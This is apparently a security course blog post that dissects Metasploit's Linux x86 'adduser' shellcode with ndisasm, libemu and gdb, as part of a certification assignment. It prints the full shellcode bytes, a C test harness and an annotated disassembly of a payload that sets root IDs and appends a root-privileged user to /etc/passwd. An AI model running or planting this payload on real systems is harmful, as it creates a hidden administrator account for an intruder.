SLAE Assignment 5: Shellcode Analysis Part 1

Assignment 5 of the SLAE exam is a little different to the previous 4. The assignment asks for a number of shellcode samples to be analysed.

  • Take up at least 3 shellcode samples created using Msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

Msfvenom Overview

The Msfvenom tool which is part the Metasploit Framework and is used to generate and encode shellcode. It’s the replacement for two older tools msfpayload and msfencode which are not longer a part of the Metasploit framework.

First of all, lets look at the different payloads which we could generate and analyse with Msfvenom. Msfvenom uses the term ‘payload’ for shellcode which will be generated. Using the command we can list all the payloads for x86 Linux

msfvenom -l payloads | grep linux/x86

The output from the command above gives a long list different payloads. However the payloads listed a lot are repeated providing the same payload that work with meterpreter, mettle, as a staged payload or a standard payload. Once you take all these variations out the number of payloads is significantly reduced. I’ve chosen to analyse the following payloads/shellcode:

  1. adduser
  2. chmod
  3. read_file

Shellcode 1: adduser

I’ve chosen the payload which will be analysed I need to generate the executable or instructions.

Adduser payload options

The options for the adduser payload can be listed using the following command, the options are relatively self explanatory

  • -a: set the CPU architecture
  • -platform: Set the Operating system the shellcode will run on
  • -p: Set the payload to payload to generate the options for
  • –payload-options: list the selected payload options
msfvenom -a x86 –platform linux -p linux/x86/adduser –-payload-options

The following snippet from the output lists the basic options which will be used when generating the payload

Basic options:
NameCurrent Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

The options will use the following settings:

  • PASS: password
  • USER: slae

The final command to generate the payload will be

msfvenom -a x86 --platform linux -p  linux/x86/adduser USER=slae PASS=password 
-f raw -o adduser_raw

The payload shellcode instructions can be viewed using the ‘ndisasm’ tool and the program execution analysed using libemu

Disassemble the shellcode using ndisasm

‘ndisasm’ allows for the ‘raw’ NASM instructions to be viewed using the following command:

ndisasm ./ adduser_raw -u

The instructions are:

00000000  31C9           xor ecx,ecx
00000002  89CB           mov ebx,ecx
00000004  6A46           push byte +0x46
00000006  58             pop eax
00000007  CD80           int 0x80
00000009  6A05           push byte +0x5
0000000B  58             pop eax
0000000C  31C9           xor ecx,ecx
0000000E  51             push ecx
0000000F  6873737764     push dword 0x64777373
00000014  682F2F7061     push dword 0x61702f2f
00000019  682F657463     push dword 0x6374652f
0000001E  89E3           mov ebx,esp
00000020  41             inc ecx
00000021  B504           mov ch,0x4
00000023  CD80           int 0x80
00000025  93             xchg eax,ebx
00000026  E824000000     call dword 0x4f
0000002B  736C           jnc 0x99
0000002D  61             popad
0000002E  653031         xor [gs:ecx],dh
00000031  3A417A         cmp al,[ecx+0x7a]
00000034  69666A52556A4B imul esp,[esi+0x6a],dword 0x4b6a5552
0000003B  6552           gs push edx
0000003D  46             inc esi
0000003E  6B3A30         imul edi,[edx],byte +0x30
00000041  3A30           cmp dh,[eax]
00000043  3A3A           cmp bh,[edx]
00000045  2F             das
00000046  3A2F           cmp ch,[edi]
00000048  62696E         bound ebp,[ecx+0x6e]
0000004B  2F             das
0000004C  7368           jnc 0xb6
0000004E  0A598B         or bl,[ecx-0x75]
00000051  51             push ecx
00000052  FC             cld
00000053  6A04           push byte +0x4
00000055  58             pop eax
00000056  CD80           int 0x80
00000058  6A01           push byte +0x1
0000005A  58             pop eax

Initial Analysis of the shellcode

Looking The disassembled shellcode above we can see there are number of system call interrupt instructions (int 0x80). However, two instructions after the second ‘int 0x80’ at memory address 0x00000026, the line is highlighted with a blue font. The call instruction on this line jumps to the memory address 0x0000004f.

00000026  E824000000 call dword 0x4f

However, if we look at the location the call instruction will jump to the disassembled shellcode doesn’t have 0x0000004F listed, the closest value which has been highlight in a blue font is address 0x0000004E and 0x00000051. As a result, the disassembled instructions the instructions listed are in all likelihood not the actual instructions at those addresses as they don’t align correctly with the code that actually executes.

Libermu: Program Execution Analysis

As a result of the issue with the call instruction target the memory address 0x0000004F I will try to use the libemu ‘sctest’ tool which can emulate and document the execution of a program so we can see what actually happens when the program jumps to the address ‘0x4f’.

The Libemu ‘sctest’ tool emulates the program execution and produce a text or graphical presentation of the executed instructions.

cat adduser_raw | sctest -vvv -S -s 10000

When the sctest tool is executed only a small part of the program is listed, only the first 5 instructions are executed:

verbose = 3
[emu 0x0x8221480 debug ] cpu state    eip=0x00417000
[emu 0x0x8221480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: 
[emu 0x0x8221480 debug ] cpu state    eip=0x00417000
[emu 0x0x8221480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: 
[emu 0x0x8221480 debug ] 31C9                            xor ecx,ecx
[emu 0x0x8221480 debug ] cpu state    eip=0x00417002
[emu 0x0x8221480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: PF ZF 
[emu 0x0x8221480 debug ] 89CB                            mov ebx,ecx
[emu 0x0x8221480 debug ] cpu state    eip=0x00417004
[emu 0x0x8221480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: PF ZF 
[emu 0x0x8221480 debug ] 6A46                            push byte 0x46
[emu 0x0x8221480 debug ] cpu state    eip=0x00417006
[emu 0x0x8221480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: PF ZF 
[emu 0x0x8221480 debug ] 58                              pop eax
[emu 0x0x8221480 debug ] cpu state    eip=0x00417007
[emu 0x0x8221480 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: PF ZF 
[emu 0x0x8221480 debug ] CD80                            int 0x80
stepcount 4
[emu 0x0x8221480 debug ] cpu state    eip=0x00417009
[emu 0x0x8221480 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8221480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8221480 debug ] Flags: PF ZF

The final instruction which is listed is an ‘int 0x80’ interrupt request instruction which executes the system call.

CD 80 int 0x80

Examining why Libemu fails to complete emulation of the shellcode

I wanted to establish why is the sctest tool stopping at this instruction. The ID of the system call the shellcode is attempting to execute when Libemu stops emulation is set in the EAX register which as can be seen above highlighted in a red font contains 0x46. Checking the unistd_32.h file on my Ubuntu system the system call ID 0x47 or 70 is listed as:

 #define __NR_setreuid 70

So as can be seen 0x46 system call ID is setreuid, man pages 2 give the following description:

“setreuid() sets real and effective user IDs of the calling process.

Supplying a value of -1 for either the real or effective user ID forces the system to leave that ID unchanged.

Unprivileged processes may only set the effective user ID to the real user ID, the effective user ID, or the saved set-user-ID.

Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

If the real user ID is set (i.e., ruid is not -1) or the effective user ID is set to a value not equal to the previous real user ID, the saved set-user-ID will be set to the new effective user ID.

Completely analogously, setregid() sets real and effective group ID’s of the calling process, and all of the above holds with “group” instead of “user”.”

My initial thoughts were that the sctest tool didn’t have sufficient privileges to perform the system call and set the required the real and effective user IDs for the calling process. I tried running the sctest command using both ‘sudo’ and ‘su’ privilege escalation, however neither allowed sctest to execute the shellcode in its entirety, after some time trying to find out if there was a solution to this I decided use an alternate approach.

Generate the payload using Msfvenom for use with gdb

‘msfvenom’ can generate shellcode in a number of formats which can be executed from within a C program by using the ‘-f c’ and option, additionally the file extension can be set in the output file option.

msfvenom -a x86 --platform linux -p  linux/x86/adduser USER=slae PASS=password -f c -o adduser.c

The command above generates the following code:

unsigned char buf[] =
 "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
 "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
 "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x22\x00\x00\x00\x73\x6c"
 "\x61\x65\x3a\x41\x7a\x53\x7a\x42\x32\x75\x79\x38\x4a\x46\x6c"
 "\x6b\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73"
 "\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd"
 "\x80";

The code above is the dropped into the ‘C’ shellcode template used within the SLAE course, as below

#include
#include
unsigned char code[] = \
 "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
 "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
 "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x22\x00\x00\x00\x73\x6c"
 "\x61\x65\x3a\x41\x7a\x53\x7a\x42\x32\x75\x79\x38\x4a\x46\x6c"
 "\x6b\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73"
 "\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd"
 "\x80";
 int main()
 {
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
 }

The ‘C’ program should be compiled with the following command. I added the ‘-ggdb’ option to include the debugging symbols.

gcc -ggdb -fno-stack-protector -z execstack shellcode.c -o shellcode

Running the shellcode in gdb

When running gdb it must be executed within root privileges otherwise the first system calls which require elevated privileges to execute correctly will fail.

sudo gdb ./shellcode

Once gdb is running we need to get the memory location of the shellcode so we can set a breakpoint and see what is happening. The way we do this is to disassembled the instructions in the code variable which will list the instructions so we can get the memory address of the first shellcode instruction.

disassemble-code

A breakpoint is set at the memory address ‘0x0804a040’ and the program is run and execution stops at the breakpoint, as shown in the screenshot below. The output given here is a result of the configuration which I have added to the .gdbinit file, see my post here details.

screenshot2

Shellcode Analysis

Continuing from the previous section we can follow the program execution and workout what it does.

System Call 1: setreuid()

The value in the EAX register prior to the ‘int 0x80’ instruction defines the system call function which will be executed. As discussed in the ‘libemu’ section above the first system call is setreuid() which has the ID 0x46.

The setreuid() system call sets the real and effective user IDs of the calling process. The setreuid system call has the following protoype:

int setreuid(uid_t ruid, uid_t euid);

The return value for a successful system call will be zero, on error -1 is returned.

The setreuid() system call requires that the EBX register contains the real user ID (ruid) and the ECX register contains the effective user ID (euid).

The first system call instructions are as follows:

 0x804a040 :         xor ecx,ecx ; Set the ‘euid’ value in the ECX register 0x0
 0x804a042 <code+2>: mov ebx,ecx ; Set the ‘ruid’ value in the EBX register 0x0
 0x804a044 <code+4>: push 0x46   ; Store 0x46 on the stack
 0x804a046 <code+6>: pop eax     ; Set setreuid()ID, pop 0x46 into the EAX register
 0x804a047 <code+7>: int 0x80    ; Execute the system call

The register values prior to the interrupt request for the ‘setreuid() system call are

Register Argument Value Description
ECX System Call ID 0x46 ID for the setreuid() system call
EBC ruid 0x0 Sets the ID to 0x0
ECX euid 0x0 Sets the ID to 0x0

Stepping through the shellcode in ‘gdb’ the EAX register value after the system is 0x0 and therefore the system call was successful.

screenshot3

System Call 2: Open()

The value of the EAX register prior to the ‘int 0x80’ instruction is set at the memory address 0x0804a04b pops 0x5 from the stack into the EAX register. The system call ID 0x5 listed in the unistd_32.h file is

#define __NR_open 5

The open() system call has the following protoype and returns a new file descriptor when successful and -1 on error.

int open(const char *pathname, int flags);

Therefore the following instructions must set:

  • EBX register: A pointer to the pathname
  • ECX register: Flags setting options for the system call.

Analysis of the instructions for the second system call are shown below.

 0x0804a049 <+9>:  push 0x5    ; Store the value 0x5 on the stack
 0x0804a04b <+11>: pop eax     ; Set the system call ID in the EAX to 0x5
 0x0804a04c <+12>: xor ecx,ecx ; Zero the ECX register

We’ve seen similar instructions during the SLAE course where a number of push instructions are used to create a variable or data structure on the stack. As the initial instruction pushes a 0x0 onto the stack then my guess is this will be a NULL string terminator. The NULL terminator is pushed first as the data must be pushed onto the stack in reverse order as the stack grows from higher memory addresses to lower memory addresses, i.e. the last Byte of the Data structure must be pushed first.

We can step through the instructions in gdb and then use the ‘examine’ command to view the content of the

 0x0804a04e <+14>: push ecx        ; Push 0x0 on the stack, string NULL terminator
 0x0804a04f <+15>: push 0x64777373 ; Push the path of the passwd file onto the
 0x0804a054 <+20>: push 0x61702f2f ; stack in reverse order.
 0x0804a059 <+25>: push 0x6374652f ;
 0x0804a05e <+30>: mov ebx,esp     ; Store the pointer to the path string in EBX

I’ve stopped execution before the memory address 0x804a05e. The gdb command to examine the value at the ESP stack pointer address as a string is

x/s $esp

screenshot4

The examine command displays the string “/etc//passwd”. The double ‘/’ is used to pad the string variable on the stack so that it is aligned correctly and has a value divisible by 4, additional ‘/’ characters are just discarded by the system call.

Once the file path has been pushed on the stack the current stack address in ESP is moved to the EBX register to set the 1st parameter in the open() system call.

0x0804a05e <+30>: mov ebx,esp     ; Store the pointer to the path string in EBX

The next two instructions set the flags values, the 2nd parameter of the open() system call, in the ECX register. After some searching I found the file which contained the definitions for the open() system call parameters on my Ubuntu OS.

/usr/include/i386-linux-gnu/bits/fcntl-linux.h

The final value in the ECX register prior to the ‘int 0x80’ instruction is 0x401 which sets the flags:

  • 01: O_WRONLY – Write only mode.
  • 0400: O_NOCTTY – If pathname refers to a terminal device—see tty(4)—it will not become the process’s controlling terminal even if the process does not have one

The file will be opened for writing only, as it will be adding a user to the system so this makes sense as it must write the passwd file to do this.

 0x0804a060 <+32>: inc ecx    ; Increment the ECX register, value becomes 0x1
 0x0804a061 <+33>: mov ch,0x4 ; Moves 0x4 to the higher Byte in ECX, giving
                              ; ECX a value of 0x401, which sets: ; - 01: O_WRONLY
                              ; - 0400: O_NOCTTY
 0x0804a063 <+35>: int 0x80

The register values after the ‘int 0x80’ instruction show that the open() system call was successful and the EAX register contains the new file descriptor value which will be used to access the passwd file.

screenshot5

The next instruction is straight forward and stores the file descriptor value in the EBX register by exchanging the values of EAX and EBX.

0x804a065 <code+37>: xchg ebx, eax ; Store the file descriptor value in the ; EBX register.

The shellcode has got to the ‘call’ instruction which jumps to the memory address 0x804a08d

 x804a066 <code+38>: call 0x804a08d <code+77>

After the call instruction is executed gdb can disassemble the program instructions so we can see what they actually are, which is a little different to the instructions previously disassembled by ndisasm and gdb .

 0x804a08d <code+77>: pop ecx
 0x804a08e <code+78>: mov edx,DWORD PTR [ecx-0x4]
 0x804a091 <code+81>: push 0x4
 0x804a093 <code+83>: pop eax
 0x804a094 <code+84>: int 0x80
 0x804a096 <code+86>: push 0x1
 0x804a098 <code+88>: pop eax
 0x804a099 <code+89>: int 0x80

We see there are two further system calls to be executed by the shellcode, highlighted in red font above.

System Call 3: write()

The write() system call has the following function prototype:

ssize_t write(int fd, const void *buf, size_t count);

The file descriptor returned by the open() system call was set as the first argument for the write() system call and was placed into the EBX register at 0x804a065 by the exchange instruction prior to the ‘call’ instruction.

When the call instruction was executed at 0x804a066 <code+38> the memory address of the next instruction was pushed onto the stack which allows the called function to return to the next instruction after the call instruction when it has completed. However, in this case the call instruction is being used store a pointer to a variable of some kind on the stack so it can be used later.

After stepping gdb until the program reaches the ‘int 0x80’ instruction all the registers will be set with the values required for the write() system call.

screenshot6

Let’s look at each instruction to see what they did.

The instruction at address 0x804a08d pops the return memory address stored on the stack by the ‘call’ instruction into the ECX register. The ECX register is used to store the 2nd parameter for the write() system call which is a pointer to

0x804a08d <code+77>: pop ecx ; Stores a pointer to the string to be written 
                             ; to the file in the ECX register.

The value in ECX is going to be the string to be written to the file which was previously opened. Again, the gdb examine command can be used to find out what is located at the memory address

screenshot7

The string located at the memory address 0x0804A06B isn’t NULL terminated, therefore gdb prints the string until it gets to the next ‘0x0’ value. Therefore, the actual string will be shorter than above. The length of the string to written is set with the next instruction. The instruction moves the value at the memory address ecx-0x4. The shellcode writer knows the location of the length of the string which will be written to the file and is able to access it by subtracting 0x4 from the value of the ECX register, so the string length has been hard coded into the shellcode.

0x804a08e <code+78>: mov edx,DWORD PTR [ecx-0x4] ; Stores the length of the string to be
                                                 ; written to the open file into the
                                                 ; EDX register.

We can view this value using the examine command to see what will be written to the EDX register.

screenshot8

The EDX register contains the length of the string ‘0x22’ which will be written to the file. So the actual string which will be written to the file is:

slae:AzSzB2uy8JFlk:0:0::/:/bin/sh

Finally the write() system call ID is pushed onto the stack and then popped into the EAX register.

 0x804a091 <code+81>: push 0x4 ; Store 0x4 on the stack
 0x804a093 <code+83>: pop eax  ; Set the ID for the write() system call by
                               ; popping 0x4 into the EAX register
 0x804a094 <code+84>: int 0x80 ; Execute the system call.

The registers prior to the write() system call are as follows:

Register Argument Value Description
ECX System Call ID 0x4
EBC unsigned int fd 0x3 File descriptor returned by the open() system call
ECX char __user *buf 0x0804A06B pointer to the string to write to the file
EDX size_t count 0x22 The size of the string to write

System Call 3: exit()

The final three instructions set the arguments for the exit() system call so that the shellcode completes gracefully.

 0x804a096 <code+86>: push 0x1 ; Store 0x1 on the stack
 0x804a098 <code+88>: pop eax  ; Set the ID for the exit() system call by
                               ; popping 0x1 into the EAX register
 0x804a099 <code+89>: int 0x80 ; Execute the system call.

Complete Shellcode Analysis

In the previous sections, I’ve broken down the program into the individual system calls the shellcode makes. The following is a reconstructed version of the shellcode with the comments explaining each instruction so that it can be followed more easily. I’ve cut the memory addresses where the string to be written and it’s length are located as they aren’t used to analyse the actual code.

0x804a040:          xor ecx,ecx   ; Set the ‘euid’ value in the ECX register 0x0
0x804a042 <code+2>: mov ebx,ecx   ; Set the ‘ruid’ value in the EBX register 0x0
0x804a044 <code+4>: push 0x46     ; Store 0x46 on the stack
0x804a046 <code+6>: pop eax       ; Set setreuid()ID, pop 0x46 into the EAX
                                  ; register
0x804a047 <code+7>: int 0x80      ; Execute the system call

0x0804a049 <+9>: push 0x5         ; Store the value 0x5 on the stack
0x0804a04b <+11>: pop eax         ; Set the system call ID in the EAX to 0x5
0x0804a04c <+12>: xor ecx,ecx     ; Zero the ECX register
0x0804a04e <+14>: push ecx        ; Push 0x0 on the stack, string NULL terminator
0x0804a04f <+15>: push 0x64777373 ; Push the path of the passwd file onto the
0x0804a054 <+20>: push 0x61702f2f ; stack in reverse order.
0x0804a059 <+25>: push 0x6374652f ; As above
0x0804a05e <+30>: mov ebx,esp     ; Store the pointer to the path string in EBX
0x0804a060 <+32>: inc ecx         ; Increment the ECX register, value becomes 0x1
0x0804a061 <+33>: mov ch,0x4      ; Moves 0x4 to the higher Byte in ECX, giving
                                  ; ECX a value of 0x401, which sets: ; - 01: O_WRONLY
                                  ; - 0400: O_NOCTTY
0x0804a063 <+35>: int 0x80        ; Execute the system call
0x804a065 <code+37>: xchg ebx,eax ; Store the file descriptor value in the ; EBX register.
0x804a066 <code+38>: call 0x804a08d <code+77> ; Jump to the next instruction
--------------------------------------------------------------------------------
   Cut here
--------------------------------------------------------------------------------
0x804a08d <code+77>: pop ecx      ; Stores a pointer to the string to be written ; to the file in the ECX register.
0x804a08e <code+78>: mov edx,DWORD PTR [ecx-0x4] ; Stores the length of the string to be
                                  ; written to the open file into the
                                  ; EDX register.
0x804a091 <code+81>: push 0x4     ; Store 0x4 on the stack
0x804a093 <code+83>: pop eax      ; Set the ID for the write() system call by
                                  ; popping 0x4 into the EAX register
0x804a094 <code+84>: int 0x80     ; Execute the system call.
0x804a096 <code+86>: push 0x1     ; Store 0x1 on the stack
0x804a098 <code+88>: pop eax      ; Set the ID for the exit() system call by
                                  ; popping 0x1 into the EAX register
0x804a099 <code+89>: int 0x80     ; Execute the system call.

Assignment 5 – Part 2

The next part of the assignment can be found here:

https://raidersofthelostarg.wordpress.com/2017/01/19/slae-assignment-5-shellcode-analysis-part-2/

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-793

Advertisements
This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s